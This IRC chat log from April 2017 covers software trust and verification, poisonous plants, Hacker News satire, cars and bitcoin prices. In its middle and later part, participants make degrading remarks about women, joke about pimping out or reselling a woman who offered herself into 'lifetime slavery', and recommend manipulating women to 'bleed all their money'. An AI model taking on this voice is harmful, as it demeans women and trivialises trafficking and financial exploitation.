terms. 1637195;1491330172;phf;we were comming from the direction of debian on 10 cds though, so restating my original point: i think bootstrapping can be solved with counterparty as an alternative to fits in head, i.e. i don't mind an approach where in order to bootstrap i get a binary from l1, that i use as a rich subtrate from which i can bootstrap. 1637196;1491330191;phf;that too 1637197;1491330227;mircea_popescu;the adage "trust, but verify" works splendidly when enough people do enough spot checking. 1637198;1491330238;mircea_popescu;the only problem is if they get lazy and turn into fly eyes. 1637199;1491330297;mircea_popescu;but in practical terms, i don't check all the living space all the time. i check random spots at random times and if they're dirty somebody sleeps in a zebra costume. this method keeps the place well clean, and it's how management works. hence the discussion of genovese merchants etc. 1637200;1491330311;mircea_popescu;it goes way the fuck earlier than that, the whole thing with clay stamps and ancient babylonians etc. 1637201;1491330342;mircea_popescu;it's also strictly opposite to the "human rights" imbecility. 1637202;1491330503;asciilifeform;mircea_popescu: the spot check model is, again, wholly inadequate. if you have ONE debianism or heartbleed etc. it literally does not matter worth a shit how 'clean' the remainder of it may have been. 1637203;1491330523;mircea_popescu;and the reason it doesn't matter is because it's impossible not to stumble on the one. 1637204;1491330540;asciilifeform;quite possible. 1637205;1491330548;asciilifeform;a certain drepperism sat for, what, 22 yrs. 1637206;1491330551;mircea_popescu;"spot check model doesn't mater, if there's phosgene in the air you're fucked" "yes, well, i think i might notice the phosgene. by you know, how the gals drop like flies." 1637207;1491330562;mircea_popescu;asciilifeform sat there. 1637208;1491330602;asciilifeform;this is more of a sarin than a phosgene. 1637209;1491330614;mircea_popescu;definitely noticeable in any case. 1637210;1491330640;asciilifeform;in the sense where, by the time you have any notice, you also have some serious problems. 1637211;1491330649;mircea_popescu;model this for me. 1637212;1491330748;asciilifeform;let's say we find that, e.g., gcc past 3.x embeds an off-by-one-ization in memcpy() , dependant on payload, and that it is triggerable specifically in trb tx processing. 1637213;1491330756;mircea_popescu;ok 1637214;1491330765;asciilifeform;and that we find this AFTER we put pogos on bottom of the sea, and on mars, in cement plinths. 1637215;1491330778;mircea_popescu;we don't put pogos that way. if you recall, i wasn't for it then, either. 1637216;1491330784;asciilifeform;it is the 'sarin' case : finding that you have been fucked, does 0 to unfuck. 1637217;1491330808;mircea_popescu;it is of no concern. we don't own the pipeline so we don't cement the products. 1637218;1491330828;asciilifeform;alternatively, say i find that gpg only ever was able to generate 100,000,000 different keys. 1637219;1491330832;asciilifeform;and enumerate them. 1637220;1491330851;mircea_popescu;for all you know i picked my primes by hand. 1637221;1491330865;asciilifeform;it'd quickly become apparent, neh, whether mircea_popescu (or whoever) did. 1637222;1491330877;mircea_popescu;it would. point remains : no unarisms. 1637223;1491330885;mircea_popescu;yes gpg can generate key. so can you. keep that in mind. 1637224;1491330922;asciilifeform;^ asciilifeform: 'say a three megatonne bomb falls, you are 1km from ground zero' mircea_popescu: 'ha-HA! i wouldn't be caught dead near ground zero! foiled!' 1637225;1491330944;mircea_popescu;http://btcbase.org/log/2017-03-31#1635192 << foiled. 1637226;1491330944;a111;Logged on 2017-03-31 18:09 mircea_popescu: actually i was thinking, im not going to hold another conference, because it's just not a sane opsec proposition. however, one fellow at a time coming down for a week or somesuch is more than tenable. what's airfare, fiddy bux ? pack up the missus an' come say hi. 1637227;1491331060;trinque;http://btcbase.org/log/2017-02-24#1617495 << this interested me the other day because my emulated asciilifeform does not approve of mitigations; the model described also can be implemented in meat 1637228;1491331060;a111;Logged on 2017-02-24 02:36 asciilifeform: veen: let's try a historical angle. according to legend, emperor qin shi huangdi (same d00d as known for taking the 'immortality pill' and promptly croaking) had a palace with 1,500 rooms. and would not tell anyone in advance which one he plans to sleep in on a given night. and which ones he would put cutthroats in, ready to kill anyone who opens door. think 'minesweeper.' 1637229;1491331071;trinque;applies directly to present thread 1637230;1491331072;asciilifeform;mircea_popescu when you were a kid, did the local boys also do the 'well ~i'll~ X' 'battle of wits' thing ? 'tomorrow i'll bring a TANK!' 'well ~i~ will bring antitank gun!' '~i~ will bring battleship!' 1637231;1491331078;asciilifeform;'who is stronger, elephant or whale.' 1637232;1491331095;mircea_popescu;yes, but i played heroes while they did that. 1637233;1491331105;mircea_popescu;"what is stronger, titan or black dragon ?" 1637234;1491331126;mircea_popescu;(9yo mp actually did these determinations by hand. how about 2 vs 2 ? how about 1+1 vs 2 ? how about...) 1637235;1491331132;phf;well, presumably all this only applies when you have fits in head. otherwise you have to fallback to counterparty 1637236;1491331157;mircea_popescu;i will say, people tend to be amazed at what can fit in a head once proper trees are constructed for the fitting. 1637237;1491331238;asciilifeform;trinque: elaborate plox 1637238;1491331390;trinque;really mircea_popescu already did. "I lost a man using Debian machines today." not only do you know something about Debian, you know something about where he was. maybe not as much as you'd like, but you have some coordinates, and more importantly, if you don't suck, *you* aren't dead 1637239;1491331430;*;asciilifeform utterly fails to grasp the line of thought here 1637240;1491331459;asciilifeform;you don't 'lose a man' via debianization, you lose -- potentially -- entire empire. 1637241;1491331469;asciilifeform;and entire planets. 1637242;1491331475;asciilifeform;with 0 warning. 1637243;1491331481;trinque;homogenized planets die 1637244;1491331485;mircea_popescu;in related story : i was walking with girl yesterday among this beautiful townlet. off one fence, an explosive arbust sent its POISON RED flowers. i examined it because curious, and decided it's actually some kind of cherry tree ?!?! right leaves, right petals except for the color, everything. 1637245;1491331506;mircea_popescu;so today she asks, "But the question is, if that tree makes fruit, and they pretty much look like cherries... will you try one ?" 1637246;1491331511;asciilifeform;trinque: probably why threads re thompsonism tend to focus on gcc : it is THE failure point 1637247;1491331523;mircea_popescu;"no hon. i'm not the right age for self-testing anymore. that's more of a 16yo thing." 1637248;1491331537;mircea_popescu;the funny part is that i suspect it's entirely lost on her as of yet who's gonna be tasting them. 1637249;1491331581;asciilifeform;mircea_popescu: didja ever explain to her who's gonna be doing the falling on grenades ? 1637250;1491331611;asciilifeform;and the plugging of pillbox embrasures with own torso 1637251;1491331627;mircea_popescu;not as such 1637252;1491331653;asciilifeform;id've thought, naively, that they know approx what they signed up for. 1637253;1491331656;mircea_popescu;what was i gonna say, "i know this guy, something-life-form" ? 1637254;1491331665;asciilifeform;lol 1637255;1491331667;mircea_popescu;hehe 1637256;1491331677;asciilifeform;'and today, chicklets, we will learn how to properly jump under a tank' 1637257;1491331832;mircea_popescu;anyway, the fundamental problem is that no one can know what they sign up for. 1637258;1491331845;mircea_popescu;except of course if they're signing up for a job at the walmart. 1637259;1491331867;asciilifeform;'hey i signed up for jumping under tanks, not for into volcano' 1637260;1491331877;asciilifeform;scam!1111 1637261;1491331909;ben_vulpes;certainty is for sessile polyps 1637262;1491331945;phf;that's not what i signed up for when i was born 1637263;1491331952;mircea_popescu;in related story : months ago, still in argentina, walked with girl past fence with arbust. beautiful white flowers with intoxicating aroma, like nicotiana alata on steroids. 1637264;1491331989;mircea_popescu;so i break one off, smell it, handle it, we arrive at the coffee house, i put it into one of the water cups they serve with coffee. meet local girl, ask her if she knows what this beautiful flower is, she does not. 1637265;1491331992;mircea_popescu;any guesses ? 1637266;1491331998;asciilifeform;oh i remember this 1637267;1491332000;asciilifeform;this was in the logs 1637268;1491332003;mircea_popescu;aha 1637269;1491332005;asciilifeform;it was zombie cucumber 1637270;1491332014;asciilifeform;d. stramonia 1637271;1491332027;mircea_popescu;it was 100% datura. enough there for a medium sized book club. 1637272;1491332055;mircea_popescu;(flowers are particularly iffy, in daturas as in most such weeds) 1637273;1491332085;asciilifeform;it ain't sarin, however, does little simply by touching. 1637274;1491332127;mircea_popescu;i was just idly following the sign up thread. 1637275;1491332129;asciilifeform;( don't eat it. don't bite your nails. ) 1637276;1491332323;ben_vulpes;heh 1637277;1491332381;ben_vulpes;so i read a bit about datura, "moonflower, that sounds familiar...hey baby aren't you doing something with moonflower in the backyard this year?" "yeah! it's going to be beautiful" "..." "is this about how daturas are poisonous?" "..." "it's going in on the carport where dog and child can't get to it" 1637278;1491332406;mircea_popescu;mataperros, yes ? 1637279;1491332441;mircea_popescu;where perra is how you call her when she's been bad. 1637280;1491332443;ben_vulpes;both of 'em 1637281;1491332445;mircea_popescu;or at the club, i suppose. 1637282;1491332474;ben_vulpes;ah, no, point is that she's on top of things. 1637283;1491332488;ben_vulpes;"yes honey, beautiful beautiful death, all over the carport" 1637284;1491332524;asciilifeform;ben_vulpes: iirc there is a famous 'poison garden' in england somewhere 1637285;1491332555;ben_vulpes;neato 1637286;1491332568;mircea_popescu;ic 1637287;1491332568;mircea_popescu;and now i shall leave you for a typical mp ritual, whereby i line up all the shot glasses in the house, fill each with a different kind of mineral water and make the rules that'll dominate purchasing henceforth. brb. 1637288;1491332574;asciilifeform;there was a sign, 'do NOT sniff the flowers', some visitors -- ignored, sniffed. 1637289;1491332619;shinohai;https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2017-April/013981.html <<< Make btc more segwittier ? 1637290;1491332660;asciilifeform;ben_vulpes: http://archive.is/g9Lzf << subj 1637291;1491332705;ben_vulpes;oh fuck, "it may be an ideal fit for fundamentally different block designs such as Rootstock and MimbleWimble in absence of decentralised non-integrated sidechains" 1637292;1491332721;ben_vulpes;blither blather hoob hoob gaDORNK 1637293;1491332729;asciilifeform;wtf was 'rootstock' 1637294;1491332749;ben_vulpes;oh whoa that plant tunnel is awesome 1637295;1491332784;mircea_popescu;gah this water sucks wtf. 1637296;1491332788;mircea_popescu;!! key Blazsword 1637297;1491332791;mircea_popescu;!!key Blazsword 1637298;1491332791;deedbot;Not registered. 1637299;1491332799;shinohai;rootstock was the plan to add ethereum functions to btc 1637300;1491332807;ben_vulpes;mircea_popescu: betcha it's better than the well water south of portland 1637301;1491332812;asciilifeform;and lol, 'extension blocks' ?! 1637302;1491332813;mircea_popescu;that may be. 1637303;1491332822;asciilifeform;this just gets 'better' an' 'better' 1637304;1491332839;ben_vulpes;i do miss one thing about my hometown; bull run reservoir produces un-fucking-matched agua 1637305;1491332867;mircea_popescu;hey, cluj had great tap water when i was a wee tyke. 1637306;1491332929;mircea_popescu;shinohai you mean free btc for daocough ? 1637307;1491332999;ben_vulpes;mircea_popescu: surface sources ftw 1637308;1491333036;ben_vulpes;"bull run" is ferociously protected valley on mt. hood; combination of glacier runoff and rainfall on valley in q 1637309;1491333062;shinohai;I have little faith they'll ever actually get a working product, rootstock has been endless blather on reddit for well over a year. 1637310;1491333082;mircea_popescu;ben_vulpes do you recall the oglaf with "song of sword and saddle" or what was it 1637311;1491333093;ben_vulpes;shinohai: if they don't have a rep in here, it's vaporware by default 1637312;1491333111;ben_vulpes;mircea_popescu: no? 1637313;1491333143;mircea_popescu;idea men!!1 1637314;1491333190;mircea_popescu;ben_vulpes http://oglaf.com/feral-chic/ 1637315;1491333213;mircea_popescu;re "ferociously protected". "we dun need no women on mt hood, stinking up the water supply with their womanly lyes and lures." 1637316;1491333244;shinohai;^ kek 1637317;1491333259;ben_vulpes;mostly ch2mhill 1637318;1491333279;ben_vulpes;"fixing" things. 1637319;1491333291;ben_vulpes;there are plenty of places to slime hood 1637320;1491333297;ben_vulpes;just stay the fuck out of bull run valley 1637321;1491333360;mircea_popescu;in other #trilema does my homework, can anyone explain wtf a "factory reset" that wipes the hdd would be ? windows speak for reinstall ? 1637322;1491333401;asciilifeform;mircea_popescu: it's a winblowzism typically found on 'dell', 'hp', similar shitboxes, unpacks a new hdd image from hidden disk partition. 1637323;1491333404;Framedragger;(n-gate.com has HN update for the last week of march and it's a riot, http://n-gate.com/) 1637324;1491333410;asciilifeform;(naturally -- nuking existing everythings) 1637325;1491333426;mircea_popescu;aaa 1637326;1491333509;ben_vulpes;Framedragger: solid chuckles 1637327;1491333551;ben_vulpes;> "The Rust Evangelism Strikeforce speculates on when they can move on to shitting up web development" 1637328;1491333565;ben_vulpes;fuck, buddy, i didn't think it could get worse! 1637329;1491333590;asciilifeform;'Not a single goddamn Hackernews makes the obvious connection to the shit they do at work all day for a living. The tacit consensus: Hackernews isn't bad for creating the tools of surveillance capitalism; Congress is bad for letting people use them.' 1637330;1491333594;asciilifeform;lulzy. 1637331;1491333640;mircea_popescu;heh 1637332;1491333662;mircea_popescu;that's ok, the salaries have been slimming continuously. soon enough shinohai 's girls will be making more than paul graham's bois. 1637333;1491333664;mircea_popescu;as god intended. 1637334;1491333695;mircea_popescu;Framedragger got a twitter ? 1637335;1491333708;Framedragger;(un)fortunately not 1637336;1491333723;Framedragger;well, old 'dev' account for twitter app (don't ask); doesn't count 1637337;1491333739;mircea_popescu;if anyone does, see if the n-gate dude wants to do a qntra weekly ? he sounds just about right. 1637338;1491333782;Framedragger;oh god n-gate <-> qntra pipeline is so obvious in retrospect, why did nobody think of this!1 1637339;1491333799;mircea_popescu;well i never read n-gate 1637340;1491333804;Framedragger;ok will drop an email to the chap if can find an address. 1637341;1491333810;mircea_popescu;worx 1637342;1491333817;Framedragger;after this wine. 1637343;1491333832;mircea_popescu;i hope latest trilema didn't push you to drink. 1637344;1491333840;mircea_popescu;you're in scotland after all, what the hell do you care!!1 1637345;1491333903;Framedragger;incidentally did eat canonical eng breakfast this morning; i should re-evaluate my life 1637346;1491333942;mircea_popescu;in other lulz, notice THE LEG ? https://68.media.tumblr.com/9ff0aa6b62a82c76eb8eab2e2b6692fe/tumblr_nfp6uoUwc51shcyjro1_1280.png 1637347;1491334114;mircea_popescu;Framedragger i do it occasionally myself. 1637348;1491334318;asciilifeform;http://computers-are-fast.github.io ( linked from the loltron ) <<<>>> http://www.loper-os.org/?p=300 . 1637349;1491334346;shinohai;dafuq is that thing on the far right in that pic mircea_popescu ? 1637350;1491334354;mircea_popescu;that'd be THE LEG 1637351;1491334367;ben_vulpes;ahaha 1637352;1491334373;mircea_popescu;(old and therefore stupid cunt figured she's too good to go in the mud bare cunt, so she took a dress.) 1637353;1491334391;shinohai;Looks like a half woman/ half grub emerging from a pond full of shit 1637354;1491334401;asciilifeform;i thought it was a 'sack race' 1637355;1491334423;ben_vulpes;pushing a particularly stubborn turd out 1637356;1491334436;shinohai;errrrrrrrrrrrrrrrrrrrrrrrrrrgh 1637357;1491334485;mircea_popescu;asciilifeform sack races are raceist mkay. 1637358;1491334566;asciilifeform;( in other lulz, re much earlier thread, https://www.google.com/patents/EP0099946A1?cl=en ) 1637359;1491334815;mircea_popescu;wtf was david chapman supposed to have sold for "zillions of dollars" ?! 1637360;1491334822;shinohai;https://pbs.twimg.com/media/C8lsbxPWAAEZDyV.jpg <<< If ur gonna use girls to shill shitcoins on twitter, at least use naked ones. 1637361;1491334824;shinohai;geez 1637362;1491334835;asciilifeform;mircea_popescu: whossat 1637363;1491334849;mircea_popescu;i dunno, krill at mit in the 80s. 1637364;1491334857;ben_vulpes;shinohai: stock photo or real gurl? 1637365;1491334926;shinohai;I imagine its stock photo meself 1637366;1491335001;mircea_popescu;"Google continues the war against their own users. The XMPP Memorial Society trades barbs about whose fault it is that a misdesigned overengineered shitshow of a protocol failed to gain traction amongst non-erlang enthusiasts. Every single messaging platform in current existence is held up as Obviously The Future. Hackernews tries to figure out what Google's master plan is, and why Google is working so hard to make it look li 1637367;1491335001;mircea_popescu;ke aimless poorly-managed floundering. IRCv3 continues to be a retarded pile of solutions to the wrong problems." 1637368;1491335006;mircea_popescu;shit, i got nothing to add! 1637369;1491335028;shinohai;If it was a real girl they'd have to settle for someone like covertress I imagine. 1637370;1491335039;mircea_popescu;python 3 memorial society coming up soon. 1637371;1491335051;asciilifeform;http://btcbase.org/log/2017-02-28#1620090 << last thread re 'ngate' 1637372;1491335051;a111;Logged on 2017-02-28 17:24 asciilifeform: in other lulzfests, http://n-gate.com 1637373;1491335134;shinohai;In other asses: https://pbs.twimg.com/media/C8lAhC-XUAAF0tu.jpg 1637374;1491335149;mircea_popescu;Maximum Hackernews is achieved as the sentence "I am too stupid to understand the context of academic research" is expressed as "now if you implemented this as a web app, i'd be sharing it with everybody" 1637375;1491335382;mircea_popescu;"The Muskonauts post their latest launch on Youtube. Hackernews thinks their kids will give a shit whether Elon recycled rockets. The hilarity of Hackernews expectations of the near future is not outweighed by the repetition of the typical Hackernews output on space travel: space is not worth exploring, yes it is, nobody will use this, yes they will, and then six thousand pages of bad economic theory." 1637376;1491335398;mircea_popescu;this guy is fucking talented, it's almost like reading summaries produced by expert sluts! god. he's saving me a lot fo work! 1637377;1491336020;shinohai;I love this one "Hackernews wants it to use TLS, the better to paste passwords into it without feeling bad." 1637378;1491336302;mircea_popescu;aha 1637379;1491336481;mircea_popescu;meanwhile at burning-things, https://68.media.tumblr.com/3e09593149629679c9849ed70d8f59d0/tumblr_okfx2v5NvY1vj1zedo1_1280.jpg 1637380;1491337409;asciilifeform;lol, last time mircea_popescu said instead http://btcbase.org/log/2017-02-28#1620099 1637381;1491337409;a111;Logged on 2017-02-28 17:47 mircea_popescu: honestly i kinda lost interest once it was about shithead news. 1637382;1491338036;Framedragger;one can appreciate the whatever-order derivative, tho / the writing style, yknow 1637383;1491338568;Framedragger;goddamnit, no email no nothing, the satire (http://n-gate.com/about/) is just too complete for its own good 1637384;1491338652;*;Framedragger blows dust off old twitter bot account and uses some of that gas mask canister 1637385;1491338783;shinohai;The twitter complaints are actually hilarious "Can we stop linking to the n-gate HN stuff? The author's just generically contemptuous rather than having any real insight into HN culture" 1637386;1491339083;mircea_popescu;asciilifeform hey, i take a while to rev up 1637387;1491339107;mircea_popescu;hn culture ?! Ahahahaha 1637388;1491339233;shinohai;https://twitter.com/mjg59/status/842766766287740928 <<< full lulzy status from "Sekoority engineer @ Google" 1637389;1491339326;mircea_popescu;if memory serves hearn was also merit washed as "something or the other" engineer at google. 1637390;1491339341;mircea_popescu;pretty obvious alphabet co. maintains a whole department of "usg cover provisioning" 1637391;1491339375;mircea_popescu;!!rate matthrew garret -10 "former klout expert on paul graham". irredeemable shithead. 1637392;1491339397;shinohai;Yeah he was a Senior Software Engineer for the Alphabet agency xD 1637393;1491339510;mircea_popescu;pretty epic ninjashogun.com blog he has, too. 1637394;1491341831;ben_vulpes;midnightmagic: you plan to fix your connection anytime soon? 1637395;1491341919;shinohai;znc is too much necromancy for the lurkers 1637396;1491342010;ben_vulpes;shinohai: the interesting thing from my pov is that he had a stable connection forever 1637397;1491342046;shinohai;Of possible interest to mircea_popescu http://gloriap1948.blogspot.com/?zx=72d308457354f507 1637398;1491342071;shinohai;Lifetime slavery, ftw! 1637399;1491344587;*;mircea_popescu [tried to] watch emanuelle. holllllly shit pre-internet popculture is terrible. 1637400;1491344633;mircea_popescu;shinohai meh, contracts. how the fuck is this supposed to work. 1637401;1491344675;*;shinohai wanted to refer her to the Trilema article on the subject of contracts 1637402;1491344680;mircea_popescu;jesus fuck it's lengthy. omfg. 1637403;1491344686;mircea_popescu;how about a new rule : fits in cunt. 1637404;1491344694;mircea_popescu;use traditional lead lettering. 1637405;1491344928;mircea_popescu;we'll leave the "who takes on 50yo new slave" as a question for the ages. 1637406;1491345008;ben_vulpes;shinohai could pimp her out 1637407;1491345050;shinohai;I suppose there was a shortage of youger, more nubile slaves in that particular region of Latin America. 1637408;1491345052;ben_vulpes;sez right there she'd be down 1637409;1491345078;ben_vulpes;there is also some tiny arbitrage opportunity available i must point out; lock up the contract and then sell her off into improper slavery 1637410;1491345086;mircea_popescu;there's just about no way you'll beat the stupid out of her head before she croaks. 1637411;1491345093;ben_vulpes;whore, not slave! 1637412;1491345115;mircea_popescu;ben_vulpes i dunno how much you partake of whores, but 50yos usually have to be special ordered. 1637413;1491345160;mircea_popescu;think in terms of that cartoon re final cs class at stanford : "and you are the idiots who didn't get hired in 2nd or 3rd year". same deal, whoring is a fine plan for cut-above-rest 16yo. by the time she's 30 she's either married or too rich to care. 1637414;1491345183;mircea_popescu;50yo whore is in a ditch somewhere, and her teeth in another ditch somewhere els.e 1637415;1491345218;mircea_popescu;meanwhile in Church Today, http://68.media.tumblr.com/tumblr_m1clidy4n61qbj78qo1_1280.jpg 1637416;1491345236;ben_vulpes;i register no objections 1637417;1491345247;ben_vulpes;holy mammaries buttman 1637418;1491345273;shinohai;Hail Mary! 1637419;1491345281;ben_vulpes;yeah i have nfi in re proper prostitutes 1637420;1491345301;mircea_popescu;to continue the trend, http://68.media.tumblr.com/tumblr_lqi4h8YRfU1qd0ln0o1_1280.jpg 1637421;1491345325;ben_vulpes;haw 1637422;1491345326;shinohai;Neither does Atlanta, you should see some of the land whales billing themselves as "High-class escorts" 1637423;1491345375;mircea_popescu;and, of course, http://68.media.tumblr.com/tumblr_m3jzrbzo9G1ru00mpo1_1280.jpg 1637424;1491345408;shinohai;"What sort of meat does a priest eat on Friday?" 1637425;1491345412;shinohai;Nun! 1637426;1491345417;ben_vulpes;hyu 1637427;1491345425;ben_vulpes;well if we're doing themes, i have my own set queued up 1637428;1491345430;mircea_popescu;lol 1637429;1491345447;*;shinohai rather enjoyed ben_vulpes doggy selctions 1637430;1491345449;ben_vulpes;in over-fucking-polished-and-is-that-a-vin-i-see's: http://its-about-the-car.tumblr.com/image/159185818055 1637431;1491345470;ben_vulpes;shoot, gave away the game 1637432;1491345475;mircea_popescu;what's a vin ? 1637433;1491345483;ben_vulpes;"vehicle identification number" 1637434;1491345485;ben_vulpes;serial for cars 1637435;1491345489;mircea_popescu;a a 1637436;1491345495;mircea_popescu;so ? 1637437;1491345508;ben_vulpes;well the joke is that there are tits on display and i'm looking at the vin 1637438;1491345517;mircea_popescu;aaand ? 1637439;1491345546;ben_vulpes;"you don't need to have a good car to get tits all over it": http://68.media.tumblr.com/87c0ba72bd3f67142514e6d883499330/tumblr_onvrzukhQt1tpchrmo1_1280.jpg 1637440;1491345570;mircea_popescu;is that a toyota ? 1637441;1491345588;ben_vulpes;mustang i think 1637442;1491345599;mircea_popescu;toyota mustang ? 1637443;1491345638;ben_vulpes;yes 1637444;1491345642;ben_vulpes;toyota mustang 1637445;1491345645;mircea_popescu;i c 1637446;1491345664;mircea_popescu;at least it's not a lexus. 1637447;1491345692;ben_vulpes;oh goddamn it this last one is buried in a megatonne of html horseshit 1637448;1491345902;shinohai;I like #2 best 1637449;1491345923;ben_vulpes;http://68.media.tumblr.com/f1e71c86d20bf8935ec32085b935c7f5/tumblr_onwpv2xCpj1w7wz67o1_500.jpg 1637450;1491345946;ben_vulpes;in "nothing actually has to be out for it to be insanely hot, honey" 1637451;1491345977;ben_vulpes;perhaps someone else can identify that car 1637452;1491346022;ben_vulpes;"hood fun": http://68.media.tumblr.com/52aa220519517830eec96a10ffd1f1e0/tumblr_onugg85C1Z1urwuzno1_1280.jpg 1637453;1491346084;ben_vulpes;"too much ego in post": http://68.media.tumblr.com/5d355017cf06f5716d7253345d0f50da/tumblr_onl3z3MtUv1tlqnkvo1_500.jpg 1637454;1491346094;ben_vulpes;"professionals at work": http://68.media.tumblr.com/8163489294f27fca80a9c7280119d48e/tumblr_onl3y8Pgkg1tk43c6o1_1280.jpg 1637455;1491346120;ben_vulpes;"dat brat": http://68.media.tumblr.com/f44850d8bf7c57953f8e691de289ae26/tumblr_onl3y0ts3f1tk43c6o1_500.jpg 1637456;1491346129;ben_vulpes;and for shinohai: http://68.media.tumblr.com/3c6ea2a713e6524fdbaad1cb6ab932fc/tumblr_onl3yiQs6u1tk43c6o1_1280.jpg 1637457;1491346142;ben_vulpes;that's it i'm out 1637458;1491346164;shinohai;Nice ben_vulpes I like a classic 1637459;1491346980;shinohai;!~ticker --market all 1637460;1491346986;jhvh1;shinohai: Bitstamp BTCUSD last: 1137.71, vol: 7758.44578561 | BTC-E BTCUSD last: 1131.987, vol: 8420.27383 | Bitfinex BTCUSD last: 1135.9, vol: 22860.53024689 | BTCChina BTCUSD last: 1012.623348, vol: 8688.96410000 | Kraken BTCUSD last: 1135.77, vol: 3348.20348884 | Volume-weighted last average: 1114.54988445 1637461;1491347344;mircea_popescu;http://log.mkj.lt/trilema/20170404/#586 << ikr!! obedience hotter than any body part. 1637462;1491347346;scriba;Logged on 2017-04-04: [22:45:47] in "nothing actually has to be out for it to be insanely hot, honey" 1637463;1491347425;mircea_popescu;in other sad stories, mp goes to very well appointed market, purchases litany of items. notices chunks of discounted cheese floating around in tub of iced water 1637464;1491347435;mircea_popescu;the items were discounted 25% and now had been discounted 75%! 1637465;1491347452;mircea_popescu;mp can not possibly resist buying 75% discounted cheese to find out why and wherefore it might have so offended the locals. 1637466;1491347486;mircea_popescu;mp takes the item home, and over a dish of oyster mushrooms lightly sauteed opens up the TRIPLE WRAPPED!!111 thing. 1637467;1491347492;mircea_popescu;at which point the trouble starts 1637468;1491347515;mircea_popescu;there's no scent whatsoever. at all. no runny. no mold. the hunk of petrocheese is entirely undisturbed, as "fresh" as it was when it left the plant, five years ago or whatever. 1637469;1491347613;shinohai;Is this some of the queso blanco popular in that area ? 1637470;1491347631;mircea_popescu;i don't think it's anything specifically. 1637471;1491347651;mircea_popescu;same thing usg issues, im sure. 1637472;1491347716;shinohai;There is a Mexican lady here that makes best damned queso blanco I've ever had. I've already stocked up on like 3 wheels of it. 1637473;1491348236;pete_dushenski;http://btcbase.org/log/2017-04-04#1637449 << it's a porsche 911 from the last 10 years. 'tiptronic' trans (you can see the silver thumb paddled on the wheel, which were and are widely reviled) 1637474;1491348236;a111;Logged on 2017-04-04 22:45 ben_vulpes: http://68.media.tumblr.com/f1e71c86d20bf8935ec32085b935c7f5/tumblr_onwpv2xCpj1w7wz67o1_500.jpg 1637475;1491348251;pete_dushenski;paddles* 1637476;1491348338;ben_vulpes;i never really figured out how one was supposed to shift while turning with paddles 1637477;1491348352;pete_dushenski;depends entirely on car 1637478;1491348355;ben_vulpes;in other ICE news, i got the drift slut sideways a few nights ago! 1637479;1491348368;ben_vulpes;first intentional loss of traction 1637480;1491348429;pete_dushenski;some cars (ferrari) have paddles mounted to the column so they're fixed regardless of wheel position. most others have the paddles fixed to the steering wheel proper and so they all move in unison. it's sort of a different strokes debate. 1637481;1491348442;ben_vulpes;http://btcbase.org/log/2017-04-04#1637461 << funny you should say that, the line around here of late has been "OBEDIENCE IS THE ONLY CRITERIA" 1637482;1491348442;a111;Logged on 2017-04-04 23:09 mircea_popescu: http://log.mkj.lt/trilema/20170404/#586 << ikr!! obedience hotter than any body part. 1637483;1491348443;scriba;Logged on 2017-04-04: [22:45:47] in "nothing actually has to be out for it to be insanely hot, honey" 1637484;1491348502;ben_vulpes;to which the smarter of the girls in circulation sasses back with "well what makes /you/ so worth obeying?" 1637485;1491348515;pete_dushenski;to which you reply ? 1637486;1491348536;ben_vulpes;stern glares, and a mark under her name on the whiteboard 1637487;1491348543;shinohai;Simple. Let them think they are in control and bleed all their money. 1637488;1491348579;pete_dushenski;devious, shinohai ! 1637489;1491348609;pete_dushenski;ben_vulpes: remind me, why's her name on the whiteboard to begin with ? 1637490;1491348616;ben_vulpes;more sass, duh 1637491;1491348635;pete_dushenski;aha 1637492;1491348654;pete_dushenski;sounds like sasser's paradise in cascadia 1637493;1491348681;ben_vulpes;the bids and asks are all right there in the order book 1637494;1491348789;shinohai;New mpex security: S.ASS 1637495;1491348809;ben_vulpes;more of a debt instrument 1637496;1491348877;pete_dushenski;in other bids and asks, insurers are slapping safety conscious car buyers with HIGHER premiums. lol as they should. http://archive.is/nUH19 . http://btcbase.org/log/2017-04-04#1637487 being the controlling point. 1637497;1491348877;a111;Logged on 2017-04-04 23:29 shinohai: Simple. Let them think they are in control and bleed all their money. 1637498;1491348916;ben_vulpes;and in other occlusions and hexagons: http://68.media.tumblr.com/ae93737a2c74237e5f555d7a055c90eb/tumblr_onwagxz5dQ1s2jikwo1_1280.jpg 1637499;1491348936;pete_dushenski;werd 1637500;1491348998;shinohai;Space pr0n 1637501;1491349534;pete_dushenski;ben_vulpes | in other ICE news, i got the drift slut sideways a few nights ago! << nice! i'm guessing this was on pavement but have you tried gravel drifting ? (it's a ton of fun and the lowest speed way to practise left-foot-braking) 1637502;1491349604;*;shinohai likes gravel drifting induced by ripping up handbrake at speed ..... 1637503;1491349622;pete_dushenski;also works! 1637504;1491349688;pete_dushenski;though most cars of 'drift slut's' vintage have weakly engaging handbrakes unless it's been specifically addressed and repaired / replaced. 1637505;1491350000;pete_dushenski;in other golden oldies, "Warren Buffett’s face will appear on cans of Cherry Coke in China, an attempt by Coca-Cola Co. to capitalize on its biggest and most famous investor." 1637506;1491350079;deedbot;http://qntra.net/2017/04/hussein-bahamas-advisor-susan-rice-fingered-as-surveillance-to-political-operatives-conduit/ << Qntra - Hussein Bahamas Advisor Susan Rice Fingered As Surveillance To Political Operatives Conduit 1637507;1491350087;pete_dushenski;hopefully they don't skimp on the photochopping. 1637508;1491350152;BingoBoingo;In Qntra submitter guidance: If writing on fake news, Jeff Bezos has owned WaPo long enough to be namedropped as a Fake News Tycoon 1637509;1491350477;pete_dushenski;http://www.gereports.com/object-sprayed-worlds-blackest-material-freaking-us/ << ok vantablack is fucking cool. makes me want to paint trb node with it. 'capable of absorbing 99.96% of ultraviolet, visible, and infrared light' 1637510;1491350670;shinohai;https://pbs.twimg.com/media/C8lCsRKUAAE1n-2.jpg 82 bids ffs 1637511;1491350712;phf;http://btcbase.org/log/2017-04-04#1637383 << this is same guy http://sciops.net 1637512;1491350712;a111;Logged on 2017-04-04 20:42 Framedragger: goddamnit, no email no nothing, the satire (http://n-gate.com/about/) is just too complete for its own good 1637513;1491351302;mircea_popescu;lol ben_vulpes running his kindergarten with proper red/black stars an errythang! 1637514;1491351470;mircea_popescu;phf advertising cat-v ? o.O 1637515;1491351583;mircea_popescu;http://sciops.net/images/canwait.jpg 1637516;1491351636;CompanionCube;' The Cable.co.uk poll of 2,000 UK adults – the first of its kind since the Westminster attack – found that 66% believe the ability of intelligence agencies to intercept messages between terrorist plotters is more valuable than the digital privacy of the population as a whole.' 'More than half (51%) said they would feel safer if WhatsApp and other messaging services were unencrypted because message sent 1637517;1491351636;CompanionCube;by terrorists could potentially be picked up by police.' Today's standard British idiocy. 